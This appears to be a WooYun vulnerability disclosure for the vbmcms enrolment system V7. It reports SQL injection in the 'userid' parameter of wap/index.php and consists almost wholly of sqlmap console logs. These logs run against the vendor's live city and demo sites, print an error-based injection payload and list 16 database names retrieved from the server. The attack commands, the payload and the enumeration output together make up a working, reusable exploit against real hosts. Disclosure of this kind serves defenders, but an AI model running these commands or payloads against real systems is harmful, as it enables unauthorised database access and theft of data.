WooYun.org

维维招生系统 最新版V7
http://www.vbmcms.com/
一、多城市版 http://city.vbmcms.com
对于userid的参数过滤不严，造成注入
G:\SqlmapV4\Sqlmap.V0.4\Bin>SqlMap.exe -u "http://city.vbmcms.com/wap/index.php?
action=course&mod=store&userid=1" -p userid --dbms=mysql
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:52:43
[11:52:43] [INFO] testing connection to the target URL
[11:52:44] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[11:52:45] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[11:52:46] [INFO] heuristic (basic) test shows that GET parameter 'userid' might
be injectable (possible DBMS: 'MySQL')
[11:52:46] [INFO] testing for SQL injection on GET parameter 'userid'
[11:52:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:52:48] [WARNING] reflective value(s) found and filtering out
[11:52:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[11:52:50] [INFO] GET parameter 'userid' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[11:52:50] [INFO] testing 'MySQL inline queries'
[11:52:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[11:52:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[11:52:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[11:52:51] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[11:52:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'userid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection points with a total of 63 HTTP(s) requ
ests:
---
Place: GET
Parameter: userid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: action=course&mod=store&userid=1' AND (SELECT 3793 FROM(SELECT COUN
T(*),CONCAT(0x7175726971,(SELECT (CASE WHEN (3793=3793) THEN 1 ELSE 0 END)),0x71
65716471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
AND 'PnxB'='PnxB
---
[11:53:04] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, PHP 5.2.13
back-end DBMS: MySQL 5.0
[11:53:04] [INFO] fetched data logged to text files under 'G:\SqlmapV4\Sqlmap.V0
.4\Bin\output\city.vbmcms.com'
[*] shutting down at 11:53:04
G:\SqlmapV4\Sqlmap.V0.4\Bin>SqlMap.exe -u "http://city.vbmcms.com/wap/index.php?
action=course&mod=store&userid=1" -p userid --dbms=mysql --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:54:10
[11:54:10] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: userid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: action=course&mod=store&userid=1' AND (SELECT 3793 FROM(SELECT COUN
T(*),CONCAT(0x7175726971,(SELECT (CASE WHEN (3793=3793) THEN 1 ELSE 0 END)),0x71
65716471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
AND 'PnxB'='PnxB
---
[11:54:11] [INFO] testing MySQL
[11:54:11] [INFO] confirming MySQL
[11:54:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, PHP 5.2.13
back-end DBMS: MySQL >= 5.0.0
[11:54:12] [INFO] fetching database names
[11:54:12] [INFO] the SQL query used returns 16 entries
[11:54:12] [INFO] retrieved: information_schema
[11:54:12] [INFO] retrieved: demo_mymps_com_cn
[11:54:13] [INFO] retrieved: ganjin
[11:54:13] [INFO] retrieved: mymps_4
[11:54:13] [INFO] retrieved: mymps_4is
[11:54:13] [INFO] retrieved: mymps_5
[11:54:13] [INFO] retrieved: mymps_51
[11:54:14] [INFO] retrieved: mymps_cities
[11:54:14] [INFO] retrieved: mysql
[11:54:14] [INFO] retrieved: qinyang
[11:54:14] [INFO] retrieved: vbmcms_7
[11:54:14] [INFO] retrieved: vbmcms_7s
[11:54:15] [INFO] retrieved: www_mayicms_com
[11:54:15] [INFO] retrieved: www_yetaihei_com
[11:54:15] [INFO] retrieved: xinjiangso
[11:54:15] [INFO] retrieved: zzsso
available databases [16]:
[*] demo_mymps_com_cn
[*] ganjin
[*] information_schema
[*] mymps_4
[*] mymps_4is
[*] mymps_5
[*] mymps_51
[*] mymps_cities
[*] mysql
[*] qinyang
[*] vbmcms_7
[*] vbmcms_7s
[*] www_mayicms_com
[*] www_yetaihei_com
[*] xinjiangso
[*] zzsso
[11:54:15] [INFO] fetched data logged to text files under 'G:\SqlmapV4\Sqlmap.V0
.4\Bin\output\city.vbmcms.com'
[*] shutting down at 11:54:15
二、单城市版 http://city.vbmcms.com
G:\SqlmapV4\Sqlmap.V0.4\Bin>SqlMap.exe -u "http://demo.vbmcms.com/wap/index.php?
action=course&mod=store&userid=1" -p userid --dbms=mysql
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:56:06
[11:56:07] [INFO] testing connection to the target URL
[11:56:10] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[11:56:11] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[11:56:13] [INFO] heuristic (basic) test shows that GET parameter 'userid' might
be injectable (possible DBMS: 'MySQL')
[11:56:13] [INFO] testing for SQL injection on GET parameter 'userid'
[11:56:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:14] [WARNING] reflective value(s) found and filtering out
[11:56:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[11:56:16] [INFO] GET parameter 'userid' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[11:56:16] [INFO] testing 'MySQL inline queries'
[11:56:16] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[11:56:16] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[11:56:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[11:56:16] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[11:56:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'userid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection points with a total of 63 HTTP(s) requ
ests:
---
Place: GET
Parameter: userid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: action=course&mod=store&userid=1' AND (SELECT 1248 FROM(SELECT COUN
T(*),CONCAT(0x7172626671,(SELECT (CASE WHEN (1248=1248) THEN 1 ELSE 0 END)),0x71
70667871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
AND 'YaLs'='YaLs
---
[11:56:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, PHP 5.2.13
back-end DBMS: MySQL 5.0
[11:56:34] [INFO] fetched data logged to text files under 'G:\SqlmapV4\Sqlmap.V0
.4\Bin\output\demo.vbmcms.com'
[*] shutting down at 11:56:34
G:\SqlmapV4\Sqlmap.V0.4\Bin>SqlMap.exe -u "http://demo.vbmcms.com/wap/index.php?
action=course&mod=store&userid=1" -p userid --dbms=mysql --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:56:40
[11:56:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: userid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: action=course&mod=store&userid=1' AND (SELECT 1248 FROM(SELECT COUN
T(*),CONCAT(0x7172626671,(SELECT (CASE WHEN (1248=1248) THEN 1 ELSE 0 END)),0x71
70667871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
AND 'YaLs'='YaLs
---
[11:56:40] [INFO] testing MySQL
[11:56:40] [INFO] confirming MySQL
[11:56:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, PHP 5.2.13
back-end DBMS: MySQL >= 5.0.0
[11:56:41] [INFO] fetching database names
[11:56:41] [INFO] the SQL query used returns 16 entries
[11:56:41] [INFO] retrieved: information_schema
[11:56:41] [INFO] retrieved: demo_mymps_com_cn
[11:56:42] [INFO] retrieved: ganjin
[11:56:42] [INFO] retrieved: mymps_4
[11:56:42] [INFO] retrieved: mymps_4is
[11:56:42] [INFO] retrieved: mymps_5
[11:56:42] [INFO] retrieved: mymps_51
[11:56:43] [INFO] retrieved: mymps_cities
[11:56:43] [INFO] retrieved: mysql
[11:56:43] [INFO] retrieved: qinyang
[11:56:43] [INFO] retrieved: vbmcms_7
[11:56:43] [INFO] retrieved: vbmcms_7s
[11:56:43] [INFO] retrieved: www_mayicms_com
[11:56:44] [INFO] retrieved: www_yetaihei_com
[11:56:44] [INFO] retrieved: xinjiangso
[11:56:44] [INFO] retrieved: zzsso
available databases [16]:
[*] demo_mymps_com_cn
[*] ganjin
[*] information_schema
[*] mymps_4
[*] mymps_4is
[*] mymps_5
[*] mymps_51
[*] mymps_cities
[*] mysql
[*] qinyang
[*] vbmcms_7
[*] vbmcms_7s
[*] www_mayicms_com
[*] www_yetaihei_com
[*] xinjiangso
[*] zzsso
[11:56:44] [INFO] fetched data logged to text files under 'G:\SqlmapV4\Sqlmap.V0
.4\Bin\output\demo.vbmcms.com'
[*] shutting down at 11:56:44
ok 看下影响：

ok 不深入~